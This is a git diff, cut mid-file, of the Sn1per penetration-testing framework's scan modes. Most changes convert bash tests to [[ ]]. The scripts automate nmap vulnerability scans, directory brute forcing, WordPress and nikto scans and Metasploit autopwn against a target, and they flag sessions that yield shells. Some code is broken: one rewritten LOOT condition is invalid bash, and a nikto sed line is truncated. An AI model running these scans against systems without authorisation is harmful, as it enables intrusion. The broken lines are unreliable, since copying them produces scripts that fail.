$LOOT_DIR/output/nmap-$TARGET-port27017.txt fi fi -if [ -z "$port_27018" ]; +if [[ -z "$port_27018" ]]; then echo -e "$OKRED + -- --=[Port 27018 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 27018 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -sV -p 27018 -Pn -v --script-timeout 90 --script=mongodb*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port27018.txt + nmap -sV -p 27018 -Pn -v --script-timeout 90 --script=mongodb*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port27018.txt fi fi -if [ -z "$port_27019" ]; +if [[ -z "$port_27019" ]]; then echo -e "$OKRED + -- --=[Port 27019 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 27019 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -sV -p 27019 -Pn -v --script-timeout 90 --script=mongodb*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port27019.txt + nmap -sV -p 27019 -Pn -v --script-timeout 90 --script=mongodb*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port27019.txt fi fi -if [ -z "$port_28017" ]; +if [[ -z "$port_28017" ]]; then echo -e "$OKRED + -- --=[Port 28017 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 28017 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -sV -p 28017 -Pn -v --script-timeout 90 --script=mongodb*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port28017.txt + nmap -sV -p 28017 -Pn -v --script-timeout 90 --script=mongodb*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port28017.txt fi fi -if [ -z "$port_49180" ]; +if [[ -z "$port_49180" ]]; then echo -e "$OKRED + -- --=[Port 49180 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 49180 opened... running tests...$RESET" - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING JAVA RMI SCANNER $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1363,11 +1363,11 @@ else fi fi -if [ $YASUO = "1" ]; then +if [[ $YASUO = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SCANNING FOR COMMON VULNERABILITIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ $DISTRO == "blackarch" ]; then + if [[ $DISTRO == "blackarch" ]]; then /bin/yasuo -r $TARGET -b all | tee $LOOT_DIR/output/yasuo-$TARGET.txt 2> /dev/null tee $LOOT_DIR/output/yasuo-$TARGET.raw 2> /dev/null sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/yasuo-$TARGET.raw > $LOOT_DIR/output/yasuo-$TARGET.txt 2> /dev/null @@ -1387,15 +1387,15 @@ rm -f $LOOT_DIR/.fuse_* 2> /dev/null sort -u $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null VULNERABLE_METASPLOIT=$(egrep -h -i -s "may be vulnerable|is vulnerable|IKE response with leak|File saved in" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null) -if [ ${#VULNERABLE_METASPLOIT} -ge 5 ]; then +if [[ ${#VULNERABLE_METASPLOIT} -ge 5 ]]; then echo "$VULNERABLE_METASPLOIT" > $LOOT_DIR/output/vulnerable-metasploit-$TARGET.txt 2> /dev/null fi VULNERABLE_SHELLSHOCK=$(egrep -h -i -s "The following URLs appear to be exploitable:" $LOOT_DIR/web/shocker-$TARGET-*.txt 2> /dev/null) -if [ ${#VULNERABLE_SHELLSHOCK} -ge 5 ]; then +if [[ ${#VULNERABLE_SHELLSHOCK} -ge 5 ]]; then echo "$VULNERABLE_SHELLSHOCK" > $LOOT_DIR/output/vulnerable-shellshock-$TARGET.txt 2> /dev/null fi SHELLED=$(egrep -h -i -s "Meterpreter session|Command executed|File(s) found:|Command Stager progress|File uploaded|Command shell session" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null) -if [ ${#SHELLED} -ge 5 ]; then +if [[ ${#SHELLED} -ge 5 ]]; then echo "$SHELLED" > $LOOT_DIR/output/shelled-$TARGET.txt 2> /dev/null fi @@ -1404,9 +1404,9 @@ echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo "$TARGET" >> $LOOT_DIR/scans/updated.txt mv $LOOT_DIR/scans/running-$TARGET-normal.txt $LOOT_DIR/scans/finished-$TARGET-normal.txt 2> /dev/null -if [ "$SLACK_NOTIFICATIONS" == "1" ]; then +if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [normal] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi -if [ "$LOOT" = "1" ] && [ -z "$NOLOOT" ]; then +if [[ "$LOOT" = "1" ] && [ -z "$NOLOOT" ]]; then loot fi \ No newline at end of file diff --git a/modes/normal_webporthttp.sh b/modes/normal_webporthttp.sh index fb40c04..9135af0 100644 --- a/modes/normal_webporthttp.sh +++ b/modes/normal_webporthttp.sh @@ -1,26 +1,26 @@ -if [ "$MODE" = "web" ]; then - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then +if [[ "$MODE" = "web" ]]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi - if [ "$PASSIVE_SPIDER" == "1" ]; then + if [[ "$PASSIVE_SPIDER" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null + curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null fi - if [ "$WAYBACKMACHINE" == "1" ]; then + if [[ "$WAYBACKMACHINE" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null fi - if [ "$HACKERTARGET" == "1" ]; then + if [[ "$HACKERTARGET" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -sX GET "http://api.hackertarget.com/pagelinks/?q=http://$TARGET" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null + curl -sX GET "http://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null fi - if [ "$BLACKWIDOW" == "1" ]; then + if [[ "$BLACKWIDOW" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -36,67 +36,67 @@ if [ "$MODE" = "web" ]; then sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt" fi fi touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null - if [ "$WEB_BRUTE_COMMONSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -f -r -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_COMMON -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-common.txt fi fi - if [ "$WEB_BRUTE_FULLSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_FULL -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-full.txt fi fi - if [ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_EXPLOITS -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/webbrute-$TARGET-https-exploits.txt fi fi - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt" fi fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null fi wget http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null - if [ "$CLUSTERD" == "1" ]; then + if [[ "$CLUSTERD" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" clusterd -i $TARGET 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-http.txt fi - if [ "$CMSMAP" == "1" ]; then + if [[ "$CMSMAP" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING CMSMAP $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -105,7 +105,7 @@ if [ "$MODE" = "web" ]; then cmsmap http://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-httpb.txt echo "" fi - if [ "$WPSCAN" == "1" ]; then + if [[ "$WPSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -114,20 +114,20 @@ if [ "$MODE" = "web" ]; then wpscan --url http://$TARGET/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-httpb.txt echo "" fi - if [ "$NIKTO" == "1" ]; then + if [[ "$NIKTO" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" nikto -h http://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-http-port80.txt sed -ir "s/ /dev/null cd $INSTALL_DIR fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi cd $INSTALL_DIR - if [ "$METASPLOIT_EXPLOIT" == "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then PORT="80" SSL="false" source modes/web_autopwn.sh diff --git a/modes/normal_webporthttps.sh b/modes/normal_webporthttps.sh index b0f038d..e292fa1 100644 --- a/modes/normal_webporthttps.sh +++ b/modes/normal_webporthttps.sh @@ -1,26 +1,26 @@ -if [ "$MODE" = "web" ]; then - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then +if [[ "$MODE" = "web" ]]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi - if [ "$PASSIVE_SPIDER" == "1" ]; then + if [[ "$PASSIVE_SPIDER" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null + curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null fi - if [ "$WAYBACKMACHINE" == "1" ]; then + if [[ "$WAYBACKMACHINE" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null fi - if [ "$HACKERTARGET" == "1" ]; then + if [[ "$HACKERTARGET" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -sX GET "http://api.hackertarget.com/pagelinks/?q=https://$TARGET" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null + curl -sX GET "http://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null fi - if [ "$BLACKWIDOW" == "1" ]; then + if [[ "$BLACKWIDOW" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -36,67 +36,67 @@ if [ "$MODE" = "web" ]; then sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt" fi fi touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null - if [ "$WEB_BRUTE_COMMONSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -f -r -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_COMMON -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-common.txt fi fi - if [ "$WEB_BRUTE_FULLSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_FULL -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-full.txt fi fi - if [ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_EXPLOITS -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-exploits.txt fi fi - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt" fi fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null fi wget https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null - if [ "$CLUSTERD" == "1" ]; then + if [[ "$CLUSTERD" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" clusterd --ssl -i $TARGET 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-https.txt fi - if [ "$CMSMAP" == "1" ]; then + if [[ "$CMSMAP" == "1" ]]; then echo -e 